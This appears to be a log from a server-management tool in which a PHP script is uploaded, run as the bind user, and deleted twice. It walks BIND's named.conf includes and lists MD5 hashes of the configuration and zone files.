MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 14:45:45: Establishing a connection
2026-04-30 14:45:45: 

PUT: /tmp/pkp599916

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 14:45:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp599916; rm /tmp/pkp599916'

2026-04-30 14:45:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 14:46:12: Establishing a connection
2026-04-30 14:46:12: 

PUT: /tmp/pkp302006

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 14:46:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp302006; rm /tmp/pkp302006'

2026-04-30 14:46:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
